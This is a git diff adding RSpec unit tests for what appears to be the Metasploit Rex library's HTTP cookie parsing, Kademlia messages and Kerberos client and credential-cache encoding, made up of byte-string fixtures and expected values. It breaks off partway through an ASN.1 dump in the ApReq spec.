a/spec/lib/rex/proto/http/response_spec.rb b/spec/lib/rex/proto/http/response_spec.rb index dc474a0877..67c23c9588 100644 --- a/spec/lib/rex/proto/http/response_spec.rb +++ b/spec/lib/rex/proto/http/response_spec.rb @@ -116,6 +116,22 @@ describe Rex::Proto::Http::Response do HEREDOC end + def get_cookies_comma_separated + <<-HEREDOC.gsub(/^ {6}/, '') + HTTP/1.1 200 OK + Expires: Thu, 26 Oct 1978 00:00:00 GMT + Content-Length: 8556 + Server: CherryPy/3.1.2 + Date: Sun, 06 Jul 2014 20:09:28 GMT + Cache-Control: no-store, max-age=0, no-cache, must-revalidate + Content-Type: text/html;charset=utf-8 + Set-Cookie: cval=880350187, session_id_8000=83466b1a1a7a27ce13d35f78155d40ca3a1e7a28; expires=Mon, 07 Jul 2014 20:09:28 GMT; httponly; Path=/, uid=348637C4-9B10-485A-BFA9-5E892432FCFD; expires=Fri, 05-Jul-2019 20:09:28 GMT + + <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> + <!--[if lt IE 7]> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:s="http://www.splunk.com/xhtml-extensions/1.0" xml:lang="en" lang="en" class="no-js lt-ie9 lt-ie8 lt- + HEREDOC + end + def cookie_sanity_check(meth) resp = described_class.new() resp.parse(self.send meth) @@ -185,6 +201,18 @@ describe Rex::Proto::Http::Response do cookies_array.should include(*expected_cookies) end + it 'parses comma separated cookies' do + cookies_array = cookie_sanity_check(:get_cookies_comma_separated) + cookies_array.count.should eq(3) + expected_cookies = %w{ + cval=880350187 + session_id_8000=83466b1a1a7a27ce13d35f78155d40ca3a1e7a28 + uid=348637C4-9B10-485A-BFA9-5E892432FCFD + } + expected_cookies.shuffle! + cookies_array.should include(*expected_cookies) + end + end end diff --git a/spec/lib/rex/proto/kademlia/bootstrap_request_spec.rb b/spec/lib/rex/proto/kademlia/bootstrap_request_spec.rb new file mode 100644 index 0000000000..645c209698 --- /dev/null +++ b/spec/lib/rex/proto/kademlia/bootstrap_request_spec.rb @@ -0,0 +1,23 @@ +# -*- coding: binary -*- + +require 'spec_helper' +require 'rex/proto/kademlia/bootstrap_request' + +describe Rex::Proto::Kademlia::BootstrapRequest do + subject(:bootstrap) do + described_class.new + end + + describe '#initialize' do + it 'constructs properly' do + expect(bootstrap.type).to eq(Rex::Proto::Kademlia::BOOTSTRAP_REQUEST) + expect(bootstrap.body).to eq('') + end + end + + describe '#to_str' do + it 'packs properly' do + expect(bootstrap.to_str).to eq("\xE4\x01") + end + end +end diff --git a/spec/lib/rex/proto/kademlia/bootstrap_response_spec.rb b/spec/lib/rex/proto/kademlia/bootstrap_response_spec.rb new file mode 100644 index 0000000000..e0a49e0ed2 --- /dev/null +++ b/spec/lib/rex/proto/kademlia/bootstrap_response_spec.rb @@ -0,0 +1,38 @@ +# -*- coding: binary -*- + +require 'spec_helper' +require 'rex/proto/kademlia/bootstrap_response' + +describe Rex::Proto::Kademlia::BootstrapResponse do + describe '#from_data' do + it 'properly decodes real valid bootstrap responses' do + data = IO.read(File.join(File.dirname(__FILE__), 'kademlia_bootstrap_res.bin')) + response = described_class.from_data(data) + expect(response.peer_id).to eq('B54A83462529B21EF51FD54B956B07B0') + expect(response.tcp_port).to eq(4662) + expect(response.version).to eq(8) + # don't bother checking every peer + expect(response.peers.size).to eq(20) + peer = response.peers.first + expect(peer[:id]).to eq('B0A5518388D66BC211B0B9F75B3DCB10') + expect(peer[:ip]).to eq('149.91.116.59') + expect(peer[:tcp_port]).to eq(4882) + expect(peer[:udp_port]).to eq(4992) + expect(peer[:version]).to eq(8) + peer = response.peers.last + expect(peer[:id]).to eq('9B896000AEBE0B0A0ECB35457177A107') + expect(peer[:ip]).to eq('83.46.192.208') + expect(peer[:tcp_port]).to eq(3662) + expect(peer[:udp_port]).to eq(3672) + expect(peer[:version]).to eq(8) + end + + it 'does not decode overly small bootstrap responses' do + expect(described_class.from_data('this is too small')).to eq(nil) + end + + it 'does not decode malformed bootstrap responses' do + expect(described_class.from_data('this is large enough but truncated')).to eq(nil) + end + end +end diff --git a/spec/lib/rex/proto/kademlia/kademlia_bootstrap_res.bin b/spec/lib/rex/proto/kademlia/kademlia_bootstrap_res.bin new file mode 100644 index 0000000000..ec2281c680 Binary files /dev/null and b/spec/lib/rex/proto/kademlia/kademlia_bootstrap_res.bin differ diff --git a/spec/lib/rex/proto/kademlia/message_spec.rb b/spec/lib/rex/proto/kademlia/message_spec.rb new file mode 100644 index 0000000000..90d3c43746 --- /dev/null +++ b/spec/lib/rex/proto/kademlia/message_spec.rb @@ -0,0 +1,89 @@ +# -*- coding: binary -*- +require 'spec_helper' +require 'rex/proto/kademlia/message' + +describe Rex::Proto::Kademlia::Message do + + context 'with a body' do + let(:type) { 1 } + let(:body) { 'test' } + let(:data) { "\xE4\x01test" } + + subject(:message) do + described_class.new(type, body) + end + + describe '#initialize' do + it 'constructs properly' do + expect(message.type).to eq(type) + expect(message.body).to eq(body) + end + end + + describe '#to_str' do + it 'packs properly' do + expect(message.to_str).to eq(data) + end + end + + describe '#from_data' do + it 'unpacks supported messages properly' do + unpacked = described_class.from_data(data) + expect(unpacked.type).to eq(type) + expect(unpacked.body).to eq(body) + end + + it 'raises on compressed messages' do + expect do + described_class.from_data("\xE5\x01test") + end.to raise_error(NotImplementedError) + end + end + + describe '#==' do + it 'respects equality' do + expect(described_class.new(1, 'test')).to eq(described_class.new(1, 'test')) + expect(described_class.new(1, 'test')).not_to eq(described_class.new(1, 'not')) + expect(described_class.new(1, 'test')).not_to eq(described_class.new(2, 'test')) + expect(described_class.new(1, 'test')).not_to eq(described_class.new(2, 'not')) + end + end + end + + context 'without a body' do + let(:type) { 2 } + let(:body) { '' } + let(:data) { "\xE4\x02" } + + subject(:message) do + described_class.new(type, body) + end + + describe '#initialize' do + it 'constructs properly' do + expect(message.type).to eq(type) + expect(message.body).to eq(body) + end + end + + describe '#to_str' do + it 'packs properly' do + expect(message.to_str).to eq(data) + end + end + + describe '#from_data' do + it 'unpacks supported messages properly' do + unpacked = described_class.from_data(data) + expect(unpacked.type).to eq(type) + expect(unpacked.body).to eq(body) + end + + it 'raises on compressed messages' do + expect do + described_class.from_data("\xE5\x01") + end.to raise_error(NotImplementedError) + end + end + end +end diff --git a/spec/lib/rex/proto/kademlia/ping_spec.rb b/spec/lib/rex/proto/kademlia/ping_spec.rb new file mode 100644 index 0000000000..35baa2ca8f --- /dev/null +++ b/spec/lib/rex/proto/kademlia/ping_spec.rb @@ -0,0 +1,23 @@ +# -*- coding: binary -*- + +require 'spec_helper' +require 'rex/proto/kademlia/ping' + +describe Rex::Proto::Kademlia::Ping do + subject(:ping) do + described_class.new + end + + describe '#initialize' do + it 'constructs properly' do + expect(ping.type).to eq(Rex::Proto::Kademlia::PING) + expect(ping.body).to eq('') + end + end + + describe '#to_str' do + it 'packs properly' do + expect(ping.to_str).to eq("\xE4\x60") + end + end +end diff --git a/spec/lib/rex/proto/kademlia/pong_spec.rb b/spec/lib/rex/proto/kademlia/pong_spec.rb new file mode 100644 index 0000000000..898ae76fd9 --- /dev/null +++ b/spec/lib/rex/proto/kademlia/pong_spec.rb @@ -0,0 +1,40 @@ +# -*- coding: binary -*- + +require 'spec_helper' +require 'rex/proto/kademlia/pong' + +describe Rex::Proto::Kademlia::Pong do + let(:port) { 12345 } + subject(:pong) do + described_class.new(port) + end + + describe '#initialize' do + it 'constructs properly' do + expect(pong.type).to eq(Rex::Proto::Kademlia::PONG) + expect(pong.port).to eq(port) + end + end + + describe '#to_str' do + it 'packs properly' do + expect(pong.to_str).to eq("\xE4\x61\x39\x30") + end + end + + describe '#from_data' do + it 'unpacks supported valid pongs properly' do + unpacked = described_class.from_data("\xE4\x61\x9E\x86") + expect(unpacked.type).to eq(Rex::Proto::Kademlia::PONG) + expect(unpacked.port).to eq(34462) + end + + it 'does not decode overly small pongs' do + expect(described_class.from_data("\xE4\x61\x01")).to eq(nil) + end + + it 'does not decode overly large pongs' do + expect(described_class.from_data("\xE4\x61\x01\x02\x03")).to eq(nil) + end + end +end diff --git a/spec/lib/rex/proto/kademlia/util_spec.rb b/spec/lib/rex/proto/kademlia/util_spec.rb new file mode 100644 index 0000000000..9c3e250343 --- /dev/null +++ b/spec/lib/rex/proto/kademlia/util_spec.rb @@ -0,0 +1,23 @@ +# -*- coding: binary -*- +# +require 'spec_helper' +require 'rex/proto/kademlia/util' + +describe Rex::Proto::Kademlia do + + describe '#decode_peer_id' do + subject(:kad) { described_class.decode_peer_id(bytes) } + let(:bytes) { "\x00\x60\x89\x9B\x0A\x0B\xBE\xAE\x45\x35\xCB\x0E\x07\xA1\x77\x71" } + it 'decodes a peer ID properly' do + is_expected.to eq('9B896000AEBE0B0A0ECB35457177A107') + end + end + + describe '#encode_peer' do + skip 'encodes a peer ID properly' do + bytes = "\x00\x60\x89\x9B\x0A\x0B\xBE\xAE\x45\x35\xCB\x0E\x07\xA1\x77\x71" + peer_id = "9B896000AEBE0B0A0ECB35457177A107" + expect(kad.encode_peer_id(peer_id)).to eq(bytes) + end + end +end diff --git a/spec/lib/rex/proto/kerberos/client_spec.rb b/spec/lib/rex/proto/kerberos/client_spec.rb new file mode 100644 index 0000000000..ea15bea8e7 --- /dev/null +++ b/spec/lib/rex/proto/kerberos/client_spec.rb @@ -0,0 +1,158 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/kerberos' + +class MyStringIO < StringIO + def put(data) + write(data) + end + + def get_once(length, timeout = 10) + read(length) + end +end + +describe Rex::Proto::Kerberos::Client do + before :each do + allow(Rex::Socket::Tcp).to receive(:create) do + s = '' + io = MyStringIO.new(s, 'w+b') + io + end + end + + subject(:client) do + described_class.new + end + + let(:sample_asn1_request) do + "\x6a\x82\x01\x08\x30\x82\x01\x04\xa1\x03\x02\x01" + + "\x05\xa2\x03\x02\x01\x0a\xa3\x5f\x30\x5d\x30\x48\xa1\x03\x02\x01" + + "\x02\xa2\x41\x04\x3f\x30\x3d\xa0\x03\x02\x01\x17\xa2\x36\x04\x34" + + "\x60\xae\x53\xa5\x0b\x56\x2e\x46\x61\xd9\xd6\x89\x98\xfc\x79\x9d" + + "\x45\x73\x7d\x0d\x8a\x78\x84\x4d\xd7\x7c\xc6\x50\x08\x8d\xab\x22" + + "\x79\xc3\x8d\xd3\xaf\x9f\x5e\xb7\xb8\x9b\x57\xc5\xc9\xc5\xea\x90" + + "\x89\xc3\x63\x58\x30\x11\xa1\x04\x02\x02\x00\x80\xa2\x09\x04\x07" + + "\x30\x05\xa0\x03\x01\x01\x00\xa4\x81\x96\x30\x81\x93\xa0\x07\x03" + + "\x05\x00\x50\x80\x00\x00\xa1\x11\x30\x0f\xa0\x03\x02\x01\x01\xa1" + + "\x08\x30\x06\x1b\x04\x6a\x75\x61\x6e\xa2\x0c\x1b\x0a\x44\x45\x4d" + + "\x4f\x2e\x4c\x4f\x43\x41\x4c\xa3\x1f\x30\x1d\xa0\x03\x02\x01\x01" + + "\xa1\x16\x30\x14\x1b\x06\x6b\x72\x62\x74\x67\x74\x1b\x0a\x44\x45" + + "\x4d\x4f\x2e\x4c\x4f\x43\x41\x4c\xa4\x11\x18\x0f\x31\x39\x37\x30" + + "\x30\x31\x30\x31\x30\x30\x30\x30\x30\x30\x5a\xa5\x11\x18\x0f\x31" + + "\x39\x37\x30\x30\x31\x30\x31\x30\x30\x30\x30\x30\x30\x5a\xa6\x11" + + "\x18\x0f\x31\x39\x37\x30\x30\x31\x30\x31\x30\x30\x30\x30\x30\x30" + + "\x5a\xa7\x06\x02\x04\x18\xf4\x10\x2c\xa8\x05\x30\x03\x02\x01\x17" + end + + let(:req_length) do + 272 + end + + let(:res_invalid) do + 'ABCDEF' + end + + let(:res_valid) do + "\x00\x00\x02\x57\x6b\x82\x02\x53\x30\x82\x02\x4f\xa0\x03\x02\x01" + + "\x05\xa1\x03\x02\x01\x0b\xa3\x0c\x1b\x0a\x44\x45\x4d\x4f\x2e\x4c" + + "\x4f\x43\x41\x4c\xa4\x11\x30\x0f\xa0\x03\x02\x01\x01\xa1\x08\x30" + + "\x06\x1b\x04\x6a\x75\x61\x6e\xa5\x82\x01\x10\x61\x82\x01\x0c\x30" + + "\x82\x01\x08\xa0\x03\x02\x01\x05\xa1\x0c\x1b\x0a\x44\x45\x4d\x4f" + + "\x2e\x4c\x4f\x43\x41\x4c\xa2\x1f\x30\x1d\xa0\x03\x02\x01\x01\xa1" + + "\x16\x30\x14\x1b\x06\x6b\x72\x62\x74\x67\x74\x1b\x0a\x44\x45\x4d" + + "\x4f\x2e\x4c\x4f\x43\x41\x4c\xa3\x81\xd1\x30\x81\xce\xa0\x03\x02" + + "\x01\x17\xa1\x03\x02\x01\x02\xa2\x81\xc1\x04\x81\xbe\x78\xce\x09" + + "\x63\x22\x20\x46\xe0\x86\x82\x2f\x2e\x02\x6e\xf8\x09\xd4\xd4\x87" + + "\x82\xa6\x5d\xbe\x6e\x75\x65\xd4\xc7\x7e\x71\xaf\xc9\xb5\x00\x7c" + + "\x57\x0a\xca\x9a\xb1\x3c\xda\x4e\x47\x24\x96\x11\xb6\x54\x86\x0f" + + "\xf0\x85\x54\xf0\x47\x88\xa4\x31\xc9\xe4\x7c\x43\x7c\xe7\x54\x9b" + + "\xf4\x06\xfe\x86\xd2\x5c\x1b\x6c\xe8\x30\xa6\x51\xb3\x2e\xf6\x45" + + "\x54\x3c\x52\x70\xb8\xc6\x31\x4c\x49\x57\xb7\xd6\x16\x11\x70\x77" + + "\x4f\x3d\x40\x96\xfc\xb9\x9c\x6a\x4b\x55\x94\x52\x99\x6a\xcb\xf3" + + "\x85\x1d\xf8\xa7\x0b\xe4\x34\xa6\x35\x8b\x27\x9d\x70\x4d\xc6\xdf" + + "\xca\x70\x65\x10\x84\x1d\x23\xf7\xea\xf7\xef\x67\x02\x68\xe4\xab" + + "\x94\x22\x8f\x18\xab\x3b\x57\x85\x23\xa0\xdd\xc9\x60\x01\x24\x8f" + + "\xf7\x3d\x82\xc8\x9b\xdd\x9e\xc8\xeb\xa7\xf8\xb0\xc4\x72\x93\x8c" + + "\xed\xf1\xf6\x49\x96\xab\x61\x78\xcd\x75\x04\xa6\x82\x01\x0c\x30" + + "\x82\x01\x08\xa0\x03\x02\x01\x17\xa1\x03\x02\x01\x01\xa2\x81\xfb" + + "\x04\x81\xf8\x7c\x0f\x86\x51\xdb\x1b\x09\x86\xfa\x68\xe4\xea\x2f" + + "\xcb\xfd\x92\x88\x76\x00\x0d\x47\x78\xcc\xfb\x1a\x37\x3a\x89\x54" + + "\x08\x71\x5b\xdf\xe1\xe5\xac\xe0\xa7\xda\xeb\xe1\xbf\x67\x91\xa3" + + "\xbc\xb5\x02\x53\xf7\xdb\x90\x5d\x9b\xb2\x28\xdb\x37\x25\xab\xc2" + + "\x1f\x49\x71\xaf\x4c\x00\x8b\xda\x8d\x35\x26\x88\xc5\xa7\xe8\x79" + + "\x3e\x10\xb7\xe0\xc9\x77\x71\x10\x74\x05\xc2\x85\x1a\x56\x05\xa0" + + "\x22\x38\x7d\x6e\xeb\x3c\xa9\xc1\x4a\x50\x3f\x33\x12\x76\x28\x56" + + "\x8e\xf8\x9e\x77\x62\x9c\xe5\xfe\x4b\xb2\x03\xdb\x6f\x44\x5f\x0e" + + "\x2b\xa7\x20\x39\xd8\x5e\xb2\x41\xff\x5d\xe4\xa1\x8f\x7c\x47\x4b" + + "\xae\x5a\x2f\xc2\x07\xdd\xbb\x12\xcf\xe3\xbd\x6c\xef\x49\x4a\xf7" + + "\x25\x8a\x7b\xfa\xaf\x22\x33\x31\xbb\xc7\xdd\x17\x5c\xe3\x19\xc0" + + "\xa0\x18\xba\xcf\xa9\xcf\xd0\x21\xd9\x68\xa8\x2f\x43\x63\x0c\x60" + + "\x3b\x66\xbe\xe1\xa1\x9f\xba\xac\x05\xa3\xad\x28\xc5\xfc\x80\x8a" + + "\x3d\x24\xa8\x2e\x8e\xc5\x06\x4b\xbc\x79\x1e\x41\x2c\x47\x6c\x3e" + + "\x50\x59\x25\xc0\xe5\x94\xee\x38\xca\x09\x8c\xe1\x43\x87\xa7\x34" + + "\xa6\x7c\x0f\xe4\xcb\x1c\xf6\xb4\xa3\xc7\x6e" + end + + let(:res_error) do + "\x00\x00\x00\x8f\x7e\x81\x8c\x30\x81\x89\xa0\x03\x02\x01\x05\xa1" + + "\x03\x02\x01\x1e\xa4\x11\x18\x0f\x32\x30\x31\x34\x31\x32\x31\x39" + + "\x31\x38\x30\x35\x30\x33\x5a\xa5\x04\x02\x02\x51\x89\xa6\x03\x02" + + "\x01\x18\xa9\x0c\x1b\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f\x43\x41\x4c" + + "\xaa\x1f\x30\x1d\xa0\x03\x02\x01\x01\xa1\x16\x30\x14\x1b\x06\x6b" + + "\x72\x62\x74\x67\x74\x1b\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f\x43\x41" + + "\x4c\xac\x30\x04\x2e\x30\x2c\x30\x16\xa1\x03\x02\x01\x0b\xa2\x0f" + + "\x04\x0d\x30\x0b\x30\x09\xa0\x03\x02\x01\x17\xa1\x02\x04\x00\x30" + + "\x12\xa1\x03\x02\x01\x13\xa2\x0b\x04\x09\x30\x07\x30\x05\xa0\x03" + + "\x02\x01\x17" + end + + describe "#send_request" do + context "when TCP connection" do + it "returns the written data length" do + request = Rex::Proto::Kerberos::Model::KdcRequest.decode(sample_asn1_request) + expect(subject.send_request(request)).to eq(req_length) + end + end + end + + describe "#recv_response" do + context "when no connection" do + it "raises RunitmeError" do + expect { subject.recv_response }.to raise_error(::RuntimeError) + end + end + + context "when TCP connection" do + context "when reads a kerberos error" do + it "returns a Rex::Proto::Kerberos::Model::KrbError" do + subject.connect + subject.connection.write(res_error) + subject.connection.seek(0) + expect(subject.recv_response).to be_a(Rex::Proto::Kerberos::Model::KrbError) + end + end + + context "when reads a Kerberos response" do + it "returns a Rex::Proto::Kerberos::Model::KdcResponse" do + subject.connect + subject.connection.write(res_valid) + subject.connection.seek(0) + expect(subject.recv_response).to be_a(Rex::Proto::Kerberos::Model::KdcResponse) + end + end + + context "when reads unexpected data" do + it "raises RuntimeError" do + subject.connect + subject.connection.write(res_invalid) + subject.connection.seek(0) + expect { subject.recv_response }.to raise_error(::RuntimeError) + end + end + end + end +end + diff --git a/spec/lib/rex/proto/kerberos/credential_cache/cache_spec.rb b/spec/lib/rex/proto/kerberos/credential_cache/cache_spec.rb new file mode 100644 index 0000000000..92312a0f46 --- /dev/null +++ b/spec/lib/rex/proto/kerberos/credential_cache/cache_spec.rb @@ -0,0 +1,75 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/kerberos' + +describe Rex::Proto::Kerberos::CredentialCache::Cache do + + subject(:cache) do + described_class.new + end + + let(:sample) do + "\x05\x04\x00\x0c\x00\x01\x00\x08\xff\xff\xff\xff\x00\x00\x00\x00" + + "\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x0a\x44\x45\x4d\x4f" + + "\x2e\x4c\x4f\x43\x41\x4c\x00\x00\x00\x04\x6a\x75\x61\x6e\x00\x00" + + "\x00\x01\x00\x00\x00\x01\x00\x00\x00\x0a\x44\x45\x4d\x4f\x2e\x4c" + + "\x4f\x43\x41\x4c\x00\x00\x00\x04\x6a\x75\x61\x6e\x00\x00\x00\x01" + + "\x00\x00\x00\x02\x00\x00\x00\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f\x43" + + "\x41\x4c\x00\x00\x00\x06\x6b\x72\x62\x74\x67\x74\x00\x00\x00\x0a" + + "\x44\x45\x4d\x4f\x2e\x4c\x4f\x43\x41\x4c\x00\x17\x00\x00\x00\x10" + + "\xf5\x39\xcf\x42\x8a\x03\x2d\x97\x5b\x85\x04\x6e\xe7\xce\x67\x55" + + "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x04" + + "\x00\x00\x24\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x04\x41\x42\x43\x44\x00\x00\x00\x00" + end + + describe "#encode" do + it "encodes Rex::Proto::Kerberos::CredentialCache::Cache correctly" do + client = Rex::Proto::Kerberos::CredentialCache::Principal.new( + name_type: 1, + realm: 'DEMO.LOCAL', + components: ['juan'] + ) + + server = Rex::Proto::Kerberos::CredentialCache::Principal.new( + name_type: 1, + realm: 'DEMO.LOCAL', + components: ['krbtgt', 'DEMO.LOCAL'] + ) + + key = Rex::Proto::Kerberos::CredentialCache::KeyBlock.new( + key_type: Rex::Proto::Kerberos::Crypto::RC4_HMAC, + e_type: 0, + key_value: "\xf5\x39\xcf\x42\x8a\x03\x2d\x97\x5b\x85\x04\x6e\xe7\xce\x67\x55" + ) + + times = Rex::Proto::Kerberos::CredentialCache::Time.new( + auth_time: 1, + start_time: 2, + end_time: 3, + renew_till: 4 + ) + + credential = Rex::Proto::Kerberos::CredentialCache::Credential.new( + client: client, + server: server, + key: key, + time: times, + is_skey: 0, + tkt_flags: 0x240000, + addrs: [], + auth_data: [], + ticket: "\x41\x42\x43\x44", + second_ticket: '' + ) + + cache.version = 0x0504 + cache.headers = ["\x00\x08\xff\xff\xff\xff\x00\x00\x00\x00"] + cache.primary_principal = client + cache.credentials = [credential] + + expect(cache.encode).to eq(sample) + end + end +end diff --git a/spec/lib/rex/proto/kerberos/credential_cache/credential_spec.rb b/spec/lib/rex/proto/kerberos/credential_cache/credential_spec.rb new file mode 100644 index 0000000000..a2fe2b0e7a --- /dev/null +++ b/spec/lib/rex/proto/kerberos/credential_cache/credential_spec.rb @@ -0,0 +1,65 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/kerberos' + +describe Rex::Proto::Kerberos::CredentialCache::Credential do + + subject(:credential) do + described_class.new + end + + let(:sample) do + "\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x0a\x44\x45\x4d\x4f" + + "\x2e\x4c\x4f\x43\x41\x4c\x00\x00\x00\x04\x6a\x75\x61\x6e\x00\x00" + + "\x00\x01\x00\x00\x00\x02\x00\x00\x00\x0a\x44\x45\x4d\x4f\x2e\x4c" + + "\x4f\x43\x41\x4c\x00\x00\x00\x06\x6b\x72\x62\x74\x67\x74\x00\x00" + + "\x00\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f\x43\x41\x4c\x00\x17\x00\x00" + + "\x00\x10\xf5\x39\xcf\x42\x8a\x03\x2d\x97\x5b\x85\x04\x6e\xe7\xce" + + "\x67\x55\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00" + + "\x00\x04\x00\x00\x24\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x04\x41\x42\x43\x44\x00\x00\x00\x00" + end + + describe "#encode" do + it "encodes Rex::Proto::Kerberos::CredentialCache::Credential correctly" do + client = Rex::Proto::Kerberos::CredentialCache::Principal.new( + name_type: 1, + realm: 'DEMO.LOCAL', + components: ['juan'] + ) + + server = Rex::Proto::Kerberos::CredentialCache::Principal.new( + name_type: 1, + realm: 'DEMO.LOCAL', + components: ['krbtgt', 'DEMO.LOCAL'] + ) + + key = Rex::Proto::Kerberos::CredentialCache::KeyBlock.new( + key_type: Rex::Proto::Kerberos::Crypto::RC4_HMAC, + e_type: 0, + key_value: "\xf5\x39\xcf\x42\x8a\x03\x2d\x97\x5b\x85\x04\x6e\xe7\xce\x67\x55" + ) + + times = Rex::Proto::Kerberos::CredentialCache::Time.new( + auth_time: 1, + start_time: 2, + end_time: 3, + renew_till: 4 + ) + + credential.client = client + credential.server = server + credential.key = key + credential.time = times + credential.is_skey = 0 + credential.tkt_flags = 0x240000 + credential.addrs = [] + credential.auth_data = [] + credential.ticket = "\x41\x42\x43\x44" + credential.second_ticket = '' + + expect(credential.encode).to eq(sample) + end + end +end diff --git a/spec/lib/rex/proto/kerberos/credential_cache/key_block.rb b/spec/lib/rex/proto/kerberos/credential_cache/key_block.rb new file mode 100644 index 0000000000..168745cca5 --- /dev/null +++ b/spec/lib/rex/proto/kerberos/credential_cache/key_block.rb @@ -0,0 +1,27 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/kerberos' + +describe Rex::Proto::Kerberos::CredentialCache::KeyBlock do + + subject(:key_block) do + described_class.new + end + + let(:sample) do + "\x00\x17\x00\x00\x00\x10\xf5\x39" + + "\xcf\x42\x8a\x03\x2d\x97\x5b\x85" + + "\x04\x6e\xe7\xce\x67\x55" + end + + describe "#encode" do + it "encodes Rex::Proto::Kerberos::CredentialCache::KeyBlock correctly" do + key_block.e_type = 0 + key_block.key_type = Rex::Proto::Kerberos::Crypto::RC4_HMAC + key_block.key_value = "\xf5\x39\xcf\x42\x8a\x03\x2d\x97\x5b\x85\x04\x6e\xe7\xce\x67\x55" + + expect(key_block.encode).to eq(sample) + end + end +end \ No newline at end of file diff --git a/spec/lib/rex/proto/kerberos/credential_cache/principal_spec.rb b/spec/lib/rex/proto/kerberos/credential_cache/principal_spec.rb new file mode 100644 index 0000000000..c474ab56ca --- /dev/null +++ b/spec/lib/rex/proto/kerberos/credential_cache/principal_spec.rb @@ -0,0 +1,28 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/kerberos' + +describe Rex::Proto::Kerberos::CredentialCache::Principal do + + subject(:principal) do + described_class.new + end + + let(:sample) do + "\x00\x00\x00\x01\x00\x00\x00\x01" + + "\x00\x00\x00\x0a\x44\x45\x4d\x4f" + + "\x2e\x4c\x4f\x43\x41\x4c\x00\x00" + + "\x00\x04\x6a\x75\x61\x6e" + end + + describe "#encode" do + it "encodes Rex::Proto::Kerberos::CredentialCache::Principal correctly" do + principal.name_type = 1 + principal.realm = 'DEMO.LOCAL' + principal.components = ['juan'] + + expect(principal.encode).to eq(sample) + end + end +end \ No newline at end of file diff --git a/spec/lib/rex/proto/kerberos/credential_cache/time_spec.rb b/spec/lib/rex/proto/kerberos/credential_cache/time_spec.rb new file mode 100644 index 0000000000..615592cd6d --- /dev/null +++ b/spec/lib/rex/proto/kerberos/credential_cache/time_spec.rb @@ -0,0 +1,27 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/kerberos' + +describe Rex::Proto::Kerberos::CredentialCache::Time do + + subject(:time) do + described_class.new + end + + let(:sample) do + "\x00\x00\x00\x00\x00\x00\x00\x01" + + "\x00\x00\x00\x02\x00\x00\x00\x03" + end + + describe "#encode" do + it "encodes Rex::Proto::Kerberos::CredentialCache::Principal correctly" do + time.auth_time = 0 + time.start_time = 1 + time.end_time = 2 + time.renew_till = 3 + + expect(time.encode).to eq(sample) + end + end +end \ No newline at end of file diff --git a/spec/lib/rex/proto/kerberos/model/ap_req_spec.rb b/spec/lib/rex/proto/kerberos/model/ap_req_spec.rb new file mode 100644 index 0000000000..327eaa01f9 --- /dev/null +++ b/spec/lib/rex/proto/kerberos/model/ap_req_spec.rb @@ -0,0 +1,425 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/kerberos' + +describe Rex::Proto::Kerberos::Model::ApReq do + + subject(:ap_req) do + described_class.new + end + +=begin +#<OpenSSL::ASN1::ASN1Data:0x007fe55b898350 + @infinite_length=false, + @tag=14, + @tag_class=:APPLICATION, + @value= + [#<OpenSSL::ASN1::Sequence:0x007fe55b8983a0 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007fe55b89a718 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007fe55b89a740 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007fe55b89a790>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fe55b89a650 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007fe55b89a678 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007fe55b89a6a0>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fe55b89a448 + @infinite_length=false, + @tag=2, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::BitString:0x007fe55b89a4c0 + @infinite_length=false, + @tag=3, + @tag_class=:UNIVERSAL, + @tagging=nil, + @unused_bits=0, + @value="\x00\x00\x00\x00">]>, + #<OpenSSL::ASN1::ASN1Data:0x007fe55b898940 + @infinite_length=false, + @tag=3, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007fe55b8989e0 + @infinite_length=false, + @tag=1, + @tag_class=:APPLICATION, + @value= + [#<OpenSSL::ASN1::Sequence:0x007fe55b898a58 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007fe55b899e30 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007fe55b899fe8 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007fe55b89a088>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fe55b899c78 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralString:0x007fe55b899ca0 + 